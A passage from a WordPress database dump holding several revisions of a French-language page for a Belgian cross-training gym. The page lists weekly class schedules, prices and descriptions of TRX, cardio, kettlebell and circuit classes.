#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:05:17', '2013-07-03 17:05:17', '', 11, 'http://www.crosstrainingcenter.be/?p=182', 0, 'revision', '', 0),
(179, 1, '2013-07-03 17:01:59', '2013-07-03 17:01:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:59', '2013-07-03 17:01:59', '', 11, 'http://www.crosstrainingcenter.be/?p=179', 0, 'revision', '', 0),
(180, 1, '2013-07-03 17:02:21', '2013-07-03 17:02:21', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 